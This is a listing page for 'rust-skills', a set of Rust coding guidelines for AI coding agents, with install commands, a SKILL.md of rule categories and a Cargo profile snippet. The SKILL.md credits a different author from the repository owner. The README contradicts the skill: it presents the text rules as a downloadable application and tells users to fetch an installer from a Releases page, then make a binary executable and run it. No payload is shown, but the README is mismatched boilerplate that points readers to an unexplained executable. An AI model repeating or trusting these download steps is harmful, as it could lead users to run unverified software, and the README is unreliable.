ggg123066

rust-skills

0
0
# Install this skill:
npx skills add ggg123066/rust-skills

Or install specific skill: npx add-skill https://github.com/ggg123066/rust-skills

# Description

>

# SKILL.md


name: rust-skills
description: >
Comprehensive Rust coding guidelines with 179 rules across 14 categories.
Use when writing, reviewing, or refactoring Rust code. Covers ownership,
error handling, async patterns, API design, memory optimization, performance,
testing, and common anti-patterns. Invoke with /rust-skills.
license: MIT
metadata:
author: leonardomso
version: "1.0.0"
sources:
- Rust API Guidelines
- Rust Performance Book
- ripgrep, tokio, serde, polars codebases


Rust Best Practices

Comprehensive guide for writing high-quality, idiomatic, and highly optimized Rust code. Contains 179 rules across 14 categories, prioritized by impact to guide LLMs in code generation and refactoring.

When to Apply

Reference these guidelines when:
- Writing new Rust functions, structs, or modules
- Implementing error handling or async code
- Designing public APIs for libraries
- Reviewing code for ownership/borrowing issues
- Optimizing memory usage or reducing allocations
- Tuning performance for hot paths
- Refactoring existing Rust code

Rule Categories by Priority

Priority Category Impact Prefix Rules
1 Ownership & Borrowing CRITICAL own- 12
2 Error Handling CRITICAL err- 12
3 Memory Optimization CRITICAL mem- 15
4 API Design HIGH api- 15
5 Async/Await HIGH async- 15
6 Compiler Optimization HIGH opt- 12
7 Naming Conventions MEDIUM name- 16
8 Type Safety MEDIUM type- 10
9 Testing MEDIUM test- 13
10 Documentation MEDIUM doc- 11
11 Performance Patterns MEDIUM perf- 11
12 Project Structure LOW proj- 11
13 Clippy & Linting LOW lint- 11
14 Anti-patterns REFERENCE anti- 15

Quick Reference

1. Ownership & Borrowing (CRITICAL)

2. Error Handling (CRITICAL)

3. Memory Optimization (CRITICAL)

4. API Design (HIGH)

5. Async/Await (HIGH)

6. Compiler Optimization (HIGH)

7. Naming Conventions (MEDIUM)

8. Type Safety (MEDIUM)

9. Testing (MEDIUM)

10. Documentation (MEDIUM)

11. Performance Patterns (MEDIUM)

12. Project Structure (LOW)

13. Clippy & Linting (LOW)

14. Anti-patterns (REFERENCE)


[profile.release]
opt-level = 3
lto = "fat"
codegen-units = 1
panic = "abort"
strip = true

[profile.bench]
inherits = "release"
debug = true
strip = false

[profile.dev]
opt-level = 0
debug = true

[profile.dev.package."*"]
opt-level = 3  # Optimize dependencies in dev

How to Use

This skill provides rule identifiers for quick reference. When generating or reviewing Rust code:

  1. Check relevant category based on task type
  2. Apply rules with matching prefix
  3. Prioritize CRITICAL > HIGH > MEDIUM > LOW
  4. Read rule files in rules/ for detailed examples

Rule Application by Task

Task Primary Categories
New function own-, err-, name-
New struct/API api-, type-, doc-
Async code async-, own-
Error handling err-, api-
Memory optimization mem-, own-, perf-
Performance tuning opt-, mem-, perf-
Code review anti-, lint-

Sources

This skill synthesizes best practices from:
- Rust API Guidelines
- Rust Performance Book
- Rust Design Patterns
- Production codebases: ripgrep, tokio, serde, polars, axum, deno
- Clippy lint documentation
- Community conventions (2024-2025)

# README.md

πŸŽ‰ rust-skills - Enhance Your Rust Coding

πŸš€ Getting Started

Welcome to the rust-skills repository! This application provides a collection of 179 essential rules that AI coding agents can use when coding in Rust. By using these guidelines, you can improve the quality of your Rust programs and follow best practices without needing deep technical knowledge.

πŸ“₯ Download Now

Download rust-skills

πŸ“‚ Download & Install

To download rust-skills, visit the Releases page. This page contains the latest version of the application.

Visit the Releases Page to Download

  1. Click on the link above to open the Releases page.
  2. Look for the latest version of rust-skills.
  3. Click on the appropriate file for your operating system (e.g., Windows, macOS, Linux).
  4. The download will start automatically.

Once the download is complete, follow these steps to install:

Windows

  1. Locate the downloaded file (usually in your Downloads folder).
  2. Double-click the file to run the installer.
  3. Follow the on-screen instructions to complete the installation.

macOS

  1. Find the downloaded file in your Downloads folder.
  2. Double-click the file to mount the installer.
  3. Drag the rust-skills icon into your Applications folder.

Linux

  1. Open a terminal window.
  2. Navigate to the folder where you downloaded the file.
  3. Run the following command:

bash chmod +x rust-skills

  1. Then, execute the program with the command:

bash ./rust-skills

πŸ“š Features

  • Comprehensive Rules: The application includes 179 essential coding rules that are easy to follow.
  • User-Friendly Interface: Designed with simplicity in mind, you can easily browse through the rules.
  • Accessible Information: Information is structured clearly, making it simple for users at any skill level to follow along.
  • Regular Updates: We continuously improve rust-skills based on user feedback and advancements in Rust programming.

πŸ€” FAQ

What operating systems are supported?

rust-skills is compatible with Windows, macOS, and Linux. Follow the installation instructions for your specific operating system.

Do I need any special requirements to run rust-skills?

No special requirements are needed. Just ensure that your system meets the following:

  • At least 1 GB of RAM.
  • 100 MB of free disk space.
  • A stable internet connection for downloading.

I have issues during installation. What should I do?

If you encounter any problems, feel free to open an issue on our GitHub page. We aim to respond quickly and help resolve any issues.

πŸ“ž Support

If you need assistance, please check our Issues section on GitHub. You can also reach out through our repository discussions. Your feedback is valuable, and we appreciate your patience as we work to improve rust-skills.

πŸ“ License

rust-skills is released under the MIT License. You can use this software freely, but please adhere to the terms stated in the license file included with the download.

πŸ”— Additional Resources

Explore the following resources to enhance your Rust programming skills:

Thank you for using rust-skills! We hope this tool assists you in your coding journey. Remember that practice is key to mastering any skill. Happy coding!

# Supported AI Coding Agents

This skill is compatible with the SKILL.md standard and works with all major AI coding agents:

Learn more about the SKILL.md standard and how to use these skills with your preferred AI coding agent.